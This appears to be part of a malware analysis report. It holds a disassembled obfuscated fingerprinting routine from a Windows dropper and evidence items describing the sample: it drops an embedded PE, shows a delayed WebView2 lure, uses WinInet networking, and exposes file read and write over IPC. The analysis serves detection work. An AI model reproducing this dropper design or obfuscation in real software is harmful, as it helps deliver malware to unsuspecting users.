140009787	83 f8 02	CMP EAX,0x2
14000978a	7c e4	JL LAB_140009770
LAB_14000978c:
14000978c	81 44 24 40 1f 1f 3f 44	ADD dword ptr [RSP + local_78],0x443f1f1f
140009794	81 44 24 40 64 32 00 eb	ADD dword ptr [RSP + local_78],0xeb003264
14000979c	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
1400097a0	31 44 24 28	XOR dword ptr [RSP + local_90],EAX
1400097a4	8b 44 24 28	MOV EAX,dword ptr [RSP + local_90]
1400097a8	89 44 24 70	MOV dword ptr [RSP + local_48],EAX
1400097ac	b8 92 0e b4 18	MOV EAX,0x18b40e92
1400097b1	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
1400097b5	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
1400097b9	b8 52 ac b3 49	MOV EAX,0x49b3ac52
1400097be	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
1400097c2	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
1400097c6	b8 8f f1 26 4d	MOV EAX,0x4d26f18f
1400097cb	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
1400097cf	89 44 24 20	MOV dword ptr [RSP + local_98],EAX
1400097d3	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
1400097d7	0b 05 37 f8 0b 00	OR EAX,dword ptr [DAT_1400c9014]
1400097dd	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
1400097e1	c7 44 24 24 00 00 00 00	MOV dword ptr [RSP + local_94],0x0
1400097e9	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
1400097ed	83 f8 05	CMP EAX,0x5
1400097f0	7f 2a	JG LAB_14000981c
1400097f2	66 66 66 66 66 2e 0f 1f …	NOP word ptr CS:[RAX + RAX*0x1]
LAB_140009800:
140009800	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009804	d1 e8	SHR EAX,0x1
140009806	35 5f ce a7 f1	XOR EAX,0xf1a7ce5f
14000980b	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
14000980f	ff 44 24 24	INC dword ptr [RSP + local_94]
140009813	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
140009817	83 f8 06	CMP EAX,0x6
14000981a	7c e4	JL LAB_140009800
LAB_14000981c:
14000981c	81 44 24 2c bb c0 e7 ef	ADD dword ptr [RSP + local_8c],0xefe7c0bb
140009824	81 74 24 2c 41 f0 47 5e	XOR dword ptr [RSP + local_8c],0x5e47f041
14000982c	81 44 24 2c e8 ca 01 7a	ADD dword ptr [RSP + local_8c],0x7a01cae8
140009834	81 74 24 2c cf 89 3d 59	XOR dword ptr [RSP + local_8c],0x593d89cf
14000983c	c7 44 24 24 00 00 00 00	MOV dword ptr [RSP + local_94],0x0
140009844	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
140009848	83 f8 03	CMP EAX,0x3
14000984b	7f 1f	JG LAB_14000986c
14000984d	0f 1f 00	NOP dword ptr [RAX]
LAB_140009850:
140009850	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009854	d1 e8	SHR EAX,0x1
140009856	35 92 f0 a4 ed	XOR EAX,0xeda4f092
14000985b	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
14000985f	ff 44 24 24	INC dword ptr [RSP + local_94]
140009863	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
140009867	83 f8 04	CMP EAX,0x4
14000986a	7c e4	JL LAB_140009850
LAB_14000986c:
14000986c	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
140009870	33 05 92 f7 0b 00	XOR EAX,dword ptr [DAT_1400c9008]
140009876	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
14000987a	8b 05 90 f7 0b 00	MOV EAX,dword ptr [DAT_1400c9010]
140009880	2b 44 24 20	SUB EAX,dword ptr [RSP + local_98]
140009884	89 05 86 f7 0b 00	MOV dword ptr [DAT_1400c9010],EAX
14000988a	f7 44 24 40 ab d4 7e 68	TEST dword ptr [RSP + local_78],0x687ed4ab
140009892	74 10	JZ LAB_1400098a4
140009894	81 44 24 2c 3d 7c ea 8c	ADD dword ptr [RSP + local_8c],0x8cea7c3d
14000989c	81 74 24 2c 7e 3f e9 c2	XOR dword ptr [RSP + local_8c],0xc2e93f7e
LAB_1400098a4:
1400098a4	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
1400098a8	31 44 24 28	XOR dword ptr [RSP + local_90],EAX
1400098ac	8b 44 24 28	MOV EAX,dword ptr [RSP + local_90]
1400098b0	89 44 24 70	MOV dword ptr [RSP + local_48],EAX
1400098b4	b8 e2 0a ad 8e	MOV EAX,0x8ead0ae2
1400098b9	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
1400098bd	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
1400098c1	b8 fe a1 db 58	MOV EAX,0x58dba1fe
1400098c6	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
1400098ca	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
1400098ce	b8 b9 27 48 57	MOV EAX,0x574827b9
1400098d3	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
1400098d7	89 44 24 20	MOV dword ptr [RSP + local_98],EAX
1400098db	b8 35 c3 c8 41	MOV EAX,0x41c8c335
1400098e0	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
1400098e4	89 44 24 24	MOV dword ptr [RSP + local_94],EAX
1400098e8	81 64 24 2c 9f 96 81 77	AND dword ptr [RSP + local_8c],0x7781969f
1400098f0	81 44 24 2c d2 84 e3 a4	ADD dword ptr [RSP + local_8c],0xa4e384d2
1400098f8	f7 44 24 40 02 80 d3 31	TEST dword ptr [RSP + local_78],0x31d38002
140009900	74 10	JZ LAB_140009912
140009902	81 74 24 40 c6 a5 1c a6	XOR dword ptr [RSP + local_78],0xa61ca5c6
14000990a	81 64 24 40 a6 56 ee 1b	AND dword ptr [RSP + local_78],0x1bee56a6
LAB_140009912:
140009912	f7 44 24 40 3a 10 7e 75	TEST dword ptr [RSP + local_78],0x757e103a
14000991a	74 10	JZ LAB_14000992c
14000991c	81 44 24 24 10 9b 04 f6	ADD dword ptr [RSP + local_94],0xf6049b10
140009924	81 44 24 24 27 17 76 77	ADD dword ptr [RSP + local_94],0x77761727
LAB_14000992c:
14000992c	8b 05 ea f6 0b 00	MOV EAX,dword ptr [DAT_1400c901c]
140009932	33 44 24 2c	XOR EAX,dword ptr [RSP + local_8c]
140009936	89 05 e0 f6 0b 00	MOV dword ptr [DAT_1400c901c],EAX
14000993c	f7 44 24 2c ed a0 a1 fe	TEST dword ptr [RSP + local_8c],0xfea1a0ed
140009944	74 10	JZ LAB_140009956
140009946	81 4c 24 2c 67 ea 54 52	OR dword ptr [RSP + local_8c],0x5254ea67
14000994e	81 44 24 2c d1 90 ec 47	ADD dword ptr [RSP + local_8c],0x47ec90d1
LAB_140009956:
140009956	8b 05 bc f6 0b 00	MOV EAX,dword ptr [DAT_1400c9018]
14000995c	33 44 24 40	XOR EAX,dword ptr [RSP + local_78]
140009960	89 05 b2 f6 0b 00	MOV dword ptr [DAT_1400c9018],EAX
140009966	8b 05 b0 f6 0b 00	MOV EAX,dword ptr [DAT_1400c901c]
14000996c	0b 44 24 40	OR EAX,dword ptr [RSP + local_78]
140009970	89 05 a6 f6 0b 00	MOV dword ptr [DAT_1400c901c],EAX
140009976	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
14000997a	3b 44 24 24	CMP EAX,dword ptr [RSP + local_94]
14000997e	76 0b	JBE LAB_14000998b
140009980	b8 12 d4 a6 c1	MOV EAX,0xc1a6d412
140009985	33 44 24 24	XOR EAX,dword ptr [RSP + local_94]
140009989	eb 09	JMP LAB_140009994
LAB_14000998b:
14000998b	b8 95 17 fd a7	MOV EAX,0xa7fd1795
140009990	23 44 24 20	AND EAX,dword ptr [RSP + local_98]
LAB_140009994:
140009994	89 44 24 24	MOV dword ptr [RSP + local_94],EAX
140009998	8b 05 7e f6 0b 00	MOV EAX,dword ptr [DAT_1400c901c]
14000999e	03 44 24 20	ADD EAX,dword ptr [RSP + local_98]
1400099a2	89 05 74 f6 0b 00	MOV dword ptr [DAT_1400c901c],EAX
1400099a8	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
1400099ac	2b 05 66 f6 0b 00	SUB EAX,dword ptr [DAT_1400c9018]
1400099b2	89 44 24 20	MOV dword ptr [RSP + local_98],EAX
1400099b6	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
1400099ba	31 44 24 28	XOR dword ptr [RSP + local_90],EAX
1400099be	8b 44 24 28	MOV EAX,dword ptr [RSP + local_90]
1400099c2	89 44 24 70	MOV dword ptr [RSP + local_48],EAX
1400099c6	b8 1b 18 ff 9c	MOV EAX,0x9cff181b
1400099cb	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
1400099cf	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
1400099d3	b8 c6 22 fd 40	MOV EAX,0x40fd22c6
1400099d8	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
1400099dc	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
1400099e0	8b 05 36 f6 0b 00	MOV EAX,dword ptr [DAT_1400c901c]
1400099e6	33 44 24 2c	XOR EAX,dword ptr [RSP + local_8c]
1400099ea	89 05 2c f6 0b 00	MOV dword ptr [DAT_1400c901c],EAX
1400099f0	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
1400099f4	03 05 1e f6 0b 00	ADD EAX,dword ptr [DAT_1400c9018]
1400099fa	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
1400099fe	81 44 24 40 3f d0 48 e5	ADD dword ptr [RSP + local_78],0xe548d03f
140009a06	81 44 24 40 84 ce 81 2b	ADD dword ptr [RSP + local_78],0x2b81ce84
140009a0e	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
140009a12	0b 05 f0 f5 0b 00	OR EAX,dword ptr [DAT_1400c9008]
140009a18	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
140009a1c	f7 44 24 40 ea da cf bd	TEST dword ptr [RSP + local_78],0xbdcfdaea
140009a24	74 10	JZ LAB_140009a36
140009a26	81 44 24 2c 36 3f e1 dc	ADD dword ptr [RSP + local_8c],0xdce13f36
140009a2e	81 64 24 2c cd 98 d5 63	AND dword ptr [RSP + local_8c],0x63d598cd
LAB_140009a36:
140009a36	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
140009a3a	33 05 c8 f5 0b 00	XOR EAX,dword ptr [DAT_1400c9008]
140009a40	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
140009a44	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009a48	3b 44 24 2c	CMP EAX,dword ptr [RSP + local_8c]
140009a4c	76 0b	JBE LAB_140009a59
140009a4e	b8 dc c2 9f 29	MOV EAX,0x299fc2dc
140009a53	33 44 24 2c	XOR EAX,dword ptr [RSP + local_8c]
140009a57	eb 09	JMP LAB_140009a62
LAB_140009a59:
140009a59	b8 a2 66 45 8d	MOV EAX,0x8d4566a2
140009a5e	23 44 24 40	AND EAX,dword ptr [RSP + local_78]
LAB_140009a62:
140009a62	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
140009a66	c7 44 24 20 00 00 00 00	MOV dword ptr [RSP + local_98],0x0
140009a6e	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009a72	83 f8 01	CMP EAX,0x1
140009a75	7f 25	JG LAB_140009a9c
140009a77	66 0f 1f 84 00 00 00 00 …	NOP word ptr [RAX + RAX*0x1]
LAB_140009a80:
140009a80	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009a84	d1 e8	SHR EAX,0x1
140009a86	35 98 15 b9 e2	XOR EAX,0xe2b91598
140009a8b	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
140009a8f	ff 44 24 20	INC dword ptr [RSP + local_98]
140009a93	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009a97	83 f8 02	CMP EAX,0x2
140009a9a	7c e4	JL LAB_140009a80
LAB_140009a9c:
140009a9c	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
140009aa0	31 44 24 28	XOR dword ptr [RSP + local_90],EAX
140009aa4	8b 44 24 28	MOV EAX,dword ptr [RSP + local_90]
140009aa8	89 44 24 70	MOV dword ptr [RSP + local_48],EAX
140009aac	b8 90 96 12 53	MOV EAX,0x53129690
140009ab1	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009ab5	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
140009ab9	b8 22 1c 5d 92	MOV EAX,0x925d1c22
140009abe	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009ac2	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
140009ac6	b8 60 9e 02 36	MOV EAX,0x36029e60
140009acb	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009acf	89 44 24 20	MOV dword ptr [RSP + local_98],EAX
140009ad3	b8 2d 51 f4 6c	MOV EAX,0x6cf4512d
140009ad8	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009adc	89 44 24 24	MOV dword ptr [RSP + local_94],EAX
140009ae0	c7 44 24 3c 00 00 00 00	MOV dword ptr [RSP + local_7c],0x0
140009ae8	8b 44 24 3c	MOV EAX,dword ptr [RSP + local_7c]
140009aec	83 f8 02	CMP EAX,0x2
140009aef	7f 2b	JG LAB_140009b1c
140009af1	66 66 66 66 66 66 2e 0f …	NOP dword ptr CS:[RAX + RAX*0x1]
LAB_140009b00:
140009b00	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009b04	d1 e8	SHR EAX,0x1
140009b06	35 85 89 7e 2c	XOR EAX,0x2c7e8985
140009b0b	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
140009b0f	ff 44 24 3c	INC dword ptr [RSP + local_7c]
140009b13	8b 44 24 3c	MOV EAX,dword ptr [RSP + local_7c]
140009b17	83 f8 03	CMP EAX,0x3
140009b1a	7c e4	JL LAB_140009b00
LAB_140009b1c:
140009b1c	8b 05 e6 f4 0b 00	MOV EAX,dword ptr [DAT_1400c9008]
140009b22	33 44 24 40	XOR EAX,dword ptr [RSP + local_78]
140009b26	89 05 dc f4 0b 00	MOV dword ptr [DAT_1400c9008],EAX
140009b2c	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
140009b30	33 05 e6 f4 0b 00	XOR EAX,dword ptr [DAT_1400c901c]
140009b36	89 44 24 24	MOV dword ptr [RSP + local_94],EAX
140009b3a	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
140009b3e	2b 05 c4 f4 0b 00	SUB EAX,dword ptr [DAT_1400c9008]
140009b44	89 44 24 24	MOV dword ptr [RSP + local_94],EAX
140009b48	c7 44 24 3c 00 00 00 00	MOV dword ptr [RSP + local_7c],0x0
140009b50	8b 44 24 3c	MOV EAX,dword ptr [RSP + local_7c]
140009b54	83 f8 02	CMP EAX,0x2
140009b57	7f 23	JG LAB_140009b7c
140009b59	0f 1f 80 00 00 00 00	NOP dword ptr [RAX]
LAB_140009b60:
140009b60	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
140009b64	d1 e8	SHR EAX,0x1
140009b66	35 15 db 0b 20	XOR EAX,0x200bdb15
140009b6b	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
140009b6f	ff 44 24 3c	INC dword ptr [RSP + local_7c]
140009b73	8b 44 24 3c	MOV EAX,dword ptr [RSP + local_7c]
140009b77	83 f8 03	CMP EAX,0x3
140009b7a	7c e4	JL LAB_140009b60
LAB_140009b7c:
140009b7c	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009b80	31 44 24 28	XOR dword ptr [RSP + local_90],EAX
140009b84	8b 44 24 28	MOV EAX,dword ptr [RSP + local_90]
140009b88	89 44 24 70	MOV dword ptr [RSP + local_48],EAX
140009b8c	b8 46 e0 c2 9c	MOV EAX,0x9cc2e046
140009b91	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009b95	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
140009b99	b8 f9 73 ba 2c	MOV EAX,0x2cba73f9
140009b9e	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009ba2	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
140009ba6	f7 44 24 40 e0 ff 83 8b	TEST dword ptr [RSP + local_78],0x8b83ffe0
140009bae	74 10	JZ LAB_140009bc0
140009bb0	81 74 24 2c 8d e8 2d dc	XOR dword ptr [RSP + local_8c],0xdc2de88d
140009bb8	81 44 24 2c e6 95 b8 37	ADD dword ptr [RSP + local_8c],0x37b895e6
LAB_140009bc0:
140009bc0	f7 44 24 40 16 5e 47 79	TEST dword ptr [RSP + local_78],0x79475e16
140009bc8	74 10	JZ LAB_140009bda
140009bca	81 44 24 2c e5 0f 35 30	ADD dword ptr [RSP + local_8c],0x30350fe5
140009bd2	81 4c 24 2c e9 f5 fe a1	OR dword ptr [RSP + local_8c],0xa1fef5e9
LAB_140009bda:
140009bda	f7 44 24 2c 60 cd 0f 46	TEST dword ptr [RSP + local_8c],0x460fcd60
140009be2	74 10	JZ LAB_140009bf4
140009be4	81 44 24 40 8a fd 80 d6	ADD dword ptr [RSP + local_78],0xd680fd8a
140009bec	81 4c 24 40 fd ca 69 34	OR dword ptr [RSP + local_78],0x3469cafd
LAB_140009bf4:
140009bf4	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009bf8	0b 05 0a f4 0b 00	OR EAX,dword ptr [DAT_1400c9008]
140009bfe	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
140009c02	8b 05 10 f4 0b 00	MOV EAX,dword ptr [DAT_1400c9018]
140009c08	03 44 24 2c	ADD EAX,dword ptr [RSP + local_8c]
140009c0c	89 05 06 f4 0b 00	MOV dword ptr [DAT_1400c9018],EAX
140009c12	c7 44 24 20 00 00 00 00	MOV dword ptr [RSP + local_98],0x0
140009c1a	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009c1e	83 f8 01	CMP EAX,0x1
140009c21	7f 29	JG LAB_140009c4c
140009c23	66 66 66 66 2e 0f 1f 84 …	NOP dword ptr CS:[RAX + RAX*0x1]
LAB_140009c30:
140009c30	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
140009c34	d1 e8	SHR EAX,0x1
140009c36	35 4e 29 2b 42	XOR EAX,0x422b294e
140009c3b	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
140009c3f	ff 44 24 20	INC dword ptr [RSP + local_98]
140009c43	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009c47	83 f8 02	CMP EAX,0x2
140009c4a	7c e4	JL LAB_140009c30
LAB_140009c4c:
140009c4c	c7 44 24 20 00 00 00 00	MOV dword ptr [RSP + local_98],0x0
140009c54	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009c58	83 f8 05	CMP EAX,0x5
140009c5b	7f 1f	JG LAB_140009c7c
140009c5d	0f 1f 00	NOP dword ptr [RAX]
LAB_140009c60:
140009c60	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009c64	d1 e8	SHR EAX,0x1
140009c66	35 03 fa 38 9e	XOR EAX,0x9e38fa03
140009c6b	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
140009c6f	ff 44 24 20	INC dword ptr [RSP + local_98]
140009c73	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009c77	83 f8 06	CMP EAX,0x6
140009c7a	7c e4	JL LAB_140009c60
LAB_140009c7c:
140009c7c	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009c80	31 44 24 28	XOR dword ptr [RSP + local_90],EAX
140009c84	8b 44 24 28	MOV EAX,dword ptr [RSP + local_90]
140009c88	89 44 24 70	MOV dword ptr [RSP + local_48],EAX
140009c8c	b8 9f 20 e9 1b	MOV EAX,0x1be9209f
140009c91	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009c95	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
140009c99	b8 6a b0 85 10	MOV EAX,0x1085b06a
140009c9e	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009ca2	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
140009ca6	b8 8b d2 ee 53	MOV EAX,0x53eed28b
140009cab	33 44 24 70	XOR EAX,dword ptr [RSP + local_48]
140009caf	89 44 24 20	MOV dword ptr [RSP + local_98],EAX
140009cb3	f7 44 24 40 5f b5 5c 30	TEST dword ptr [RSP + local_78],0x305cb55f
140009cbb	74 10	JZ LAB_140009ccd
140009cbd	81 74 24 40 39 f8 16 62	XOR dword ptr [RSP + local_78],0x6216f839
140009cc5	81 44 24 40 e4 b0 de a2	ADD dword ptr [RSP + local_78],0xa2deb0e4
LAB_140009ccd:
140009ccd	81 4c 24 2c b1 f3 63 82	OR dword ptr [RSP + local_8c],0x8263f3b1
140009cd5	81 64 24 2c 97 72 08 09	AND dword ptr [RSP + local_8c],0x9087297
140009cdd	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009ce1	3b 44 24 2c	CMP EAX,dword ptr [RSP + local_8c]
140009ce5	76 0b	JBE LAB_140009cf2
140009ce7	b8 72 de 99 b3	MOV EAX,0xb399de72
140009cec	33 44 24 2c	XOR EAX,dword ptr [RSP + local_8c]
140009cf0	eb 09	JMP LAB_140009cfb
LAB_140009cf2:
140009cf2	b8 9c da 10 4c	MOV EAX,0x4c10da9c
140009cf7	23 44 24 40	AND EAX,dword ptr [RSP + local_78]
LAB_140009cfb:
140009cfb	89 44 24 2c	MOV dword ptr [RSP + local_8c],EAX
140009cff	8b 05 07 f3 0b 00	MOV EAX,dword ptr [DAT_1400c900c]
140009d05	03 44 24 20	ADD EAX,dword ptr [RSP + local_98]
140009d09	89 05 fd f2 0b 00	MOV dword ptr [DAT_1400c900c],EAX
140009d0f	c7 44 24 24 00 00 00 00	MOV dword ptr [RSP + local_94],0x0
140009d17	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
140009d1b	83 f8 03	CMP EAX,0x3
140009d1e	7f 1c	JG LAB_140009d3c
LAB_140009d20:
140009d20	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009d24	d1 e8	SHR EAX,0x1
140009d26	35 8a 08 2d 88	XOR EAX,0x882d088a
140009d2b	89 44 24 20	MOV dword ptr [RSP + local_98],EAX
140009d2f	ff 44 24 24	INC dword ptr [RSP + local_94]
140009d33	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
140009d37	83 f8 04	CMP EAX,0x4
140009d3a	7c e4	JL LAB_140009d20
LAB_140009d3c:
140009d3c	8b 05 d2 f2 0b 00	MOV EAX,dword ptr [DAT_1400c9014]
140009d42	03 44 24 20	ADD EAX,dword ptr [RSP + local_98]
140009d46	89 05 c8 f2 0b 00	MOV dword ptr [DAT_1400c9014],EAX
140009d4c	c7 44 24 24 00 00 00 00	MOV dword ptr [RSP + local_94],0x0
140009d54	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
140009d58	83 f8 02	CMP EAX,0x2
140009d5b	7f 1f	JG LAB_140009d7c
140009d5d	0f 1f 00	NOP dword ptr [RAX]
LAB_140009d60:
140009d60	8b 44 24 20	MOV EAX,dword ptr [RSP + local_98]
140009d64	d1 e8	SHR EAX,0x1
140009d66	35 7b 6c 87 4b	XOR EAX,0x4b876c7b
140009d6b	89 44 24 20	MOV dword ptr [RSP + local_98],EAX
140009d6f	ff 44 24 24	INC dword ptr [RSP + local_94]
140009d73	8b 44 24 24	MOV EAX,dword ptr [RSP + local_94]
140009d77	83 f8 03	CMP EAX,0x3
140009d7a	7c e4	JL LAB_140009d60
LAB_140009d7c:
140009d7c	8b 05 8e f2 0b 00	MOV EAX,dword ptr [DAT_1400c9010]
140009d82	33 44 24 20	XOR EAX,dword ptr [RSP + local_98]
140009d86	89 05 84 f2 0b 00	MOV dword ptr [DAT_1400c9010],EAX
140009d8c	f7 44 24 20 63 6b 07 b2	TEST dword ptr [RSP + local_98],0xb2076b63
140009d94	74 10	JZ LAB_140009da6
140009d96	81 64 24 20 c2 06 a5 f3	AND dword ptr [RSP + local_98],0xf3a506c2
140009d9e	81 4c 24 20 49 83 01 ce	OR dword ptr [RSP + local_98],0xce018349
LAB_140009da6:
140009da6	8b 44 24 40	MOV EAX,dword ptr [RSP + local_78]
140009daa	03 05 68 f2 0b 00	ADD EAX,dword ptr [DAT_1400c9018]
140009db0	89 44 24 40	MOV dword ptr [RSP + local_78],EAX
140009db4	8b 44 24 2c	MOV EAX,dword ptr [RSP + local_8c]
140009db8	31 44 24 28	XOR dword ptr [RSP + local_90],EAX
140009dbc	8b 44 24 28	MOV EAX,dword ptr [RSP + local_90]
140009dc0	48 81 c4 b0 00 00 00	ADD RSP,0xb0
140009dc7	5e	POP RSI
140009dc8	c3	RET

Evidence 22

Every claim in this report rests on one of these items: what was examined, where, how (read from the file, decoded by the analysis, or reported by a tool), and what it shows. "Checked: not present" marks something the analysis looked for and did not find.

Filter

read from the file·function

0x140001400

WinMain: extracts RCDATA 300, drops embedded PE to disk, creates WebView2 window, enters message loop

in WinMain

bytes sha256 274c7d8bdf32a3058ec2588740024bf2738317562fb900bba1945c2fe77df257

read from the file·resource

RCDATA/300/1033

embedded PE resource, 164704 bytes, entropy 6.2, dropped to disk by WinMain

bytes sha256 a9a09232c25805323d4cfb3fc8f545a190a9c8a99c93262ea99d0b88df99ec90

read from the file·function

0x140004000

HTTP request function: InternetCrackUrl, InternetConnect, HttpOpenRequest, HttpAddRequestHeaders, HttpSendRequest, HttpQueryInfo, InternetReadFile

in http_request

bytes sha256 5032dc13fb4c90e36ba4bfaecd9c26b50b5569890a22266b8afa35cdfcacb411

read from the file·function

0x140004580

InternetOpenW with 15s/30s timeouts for network initialization

in internet_init

bytes sha256 4f9929b06ee17d207ded9ba07083f5d8db0cd6b62c9f392968c6f5591f5f38c9

read from the file·function

0x1400056b0

WebView2 COM initialization: sets background color, configures navigation and docking via COM vtable calls

in webview2_setup

bytes sha256 a707a3eedee73bb7f1d76179468424aa8daccdc6060eebfab89ee3d06ed573c7

read from the file·function

0x140003c10

ShellExecuteW handler: opens URLs from WebView2 navigation events

in url_launcher

bytes sha256 3b8f2af6be25b94428a8799c330e7e66be7e94dd1c541bb182fb240a16e30d16

read from the file·function

0x1400094c0

system fingerprinting: GetLocalTime, GetLocaleInfoA, GetSystemInfo, GetCurrentProcessId, GetTickCount, then obfuscated XOR/shift computation

in system_fingerprint

bytes sha256 f669c1232d5ccf43de183d8cced2b4945300549837aa185d7a8f08e1af701098

read from the file·function

0x140005a90

CreateThread, ShowWindow, PostMessage, cursor management - UI and threading handler

in ui_thread_handler

bytes sha256 ad9e58c92bbf7f22eea653d657b86231c22451c425534be7b0fc1df8d30a005a

read from the file·function

0x140001020

CRT startup with LOCK-based single-instance mutex, spins on Sleep(1000) if another instance holds the lock

in crt_startup

bytes sha256 0930912e1dad559b8656d9e2bb153a71d426152cb5b3ad2b49549de529944dad

E10

read from the file·function

0x140002480

window procedure: handles WM_DESTROY (PostQuitMessage), WM_CLOSE and paint/size messages, dispatches to WebView2 vtable

in WndProc

bytes sha256 d1eba2999d631ff975359cdf71082543095dbca63f45bffb3a2f91c70e6f7775

E11

read from the file·function

0x140009480

SetTimer(9999, 1500ms) callback setup for delayed window reveal

in timer_setup

bytes sha256 60841f87500d5dd5e85b7dfe0550711556ba969f360b9219f1ae6cb9981a5bf4

E12

read from the file·function

0x140004960

timer callback: KillTimer, ShowWindow, SetForegroundWindow - reveals the lure after delay

in timer_reveal

bytes sha256 0382389affa6fc2f9ef83a4adf207d2036849622becbc618b71ee72edcbfb6c0

E13

read from the file·file header

pe_header

x64 PE, mingw-linked, no version info, 2 TLS callbacks, ASLR+NX, timestamp 2026-09-22

E14

read from the file·import table

wininet.dll

10 WinInet imports for HTTP networking

E15

read from the file·function

0x1400033d0

file reader: extracts path parameter, opens with CreateFileW, reads with ReadFile

in file_reader

bytes sha256 8df08bce4463a45ad3061c528c1412e3a846e73441058e21d7a09d038cb27a77

E16

read from the file·function

0x1400038b0

file writer: extracts path parameter, creates with CreateFileW, writes with WriteFile

in file_writer

bytes sha256 b89a6c38ecf8ff15af68f7c3c76709f2696f53d1b0b2c59796df9ee008b51118

E17

read from the file·file range

0x400

entry stub at file offset 0x400 (RVA 0x1000), 30 bytes, calls main at offset +17

Bytes · 30 at 0x400

00000400  48 83 ec 28 48 8b 05 15 a0 09 00 c7 00 01 00 00  H..(H...........
00000410  00 e8 0a 00 00 00 90 90 90 48 83 c4 28 c3        .........H..(.

bytes sha256 3e704c7957b5b21919d29a22348676c2bf691a39d9798fd9e4b87a64f884ba95

E18

read from the file·function

0x140008f60

COM navigation event handler: retrieves URL string from WebView2 interface, processes it for action dispatch

in nav_event_handler

bytes sha256 ba991d8af56c0bd727d66aae43ce1cee9b822bec0ab677dff46f0002437fb3a9

E19

read from the file·function

0x140002900

JSON response builder with id/ok/result fields for WebView2-native IPC

in json_response_builder

bytes sha256 161452e872d6e8aff41ffa88afddc63b5a39773cded10ee6abc8595862ba92b8

E20

read from the file·function

0x1400075c0

JSON parser for incoming WebView2 messages, recursive descent

in json_parser

bytes sha256 72f1040b434a60629ca373181ebc01567e7241a70fc8273a4c0bf8ef30bd149a

E21

read from the file·analysis output

out/L0/ioc_candidates/index.json

9 of 11 URL IOCs and all 5 registry candidates at file offsets within embedded PE range 0xd70c0-0xff420 belong to unpacked file 1 not the original file

bytes sha256 d91ff94ddb191dfed73d4ce6716f67c2fc68d9c2f837183db44a1f71e701fb9e

E22

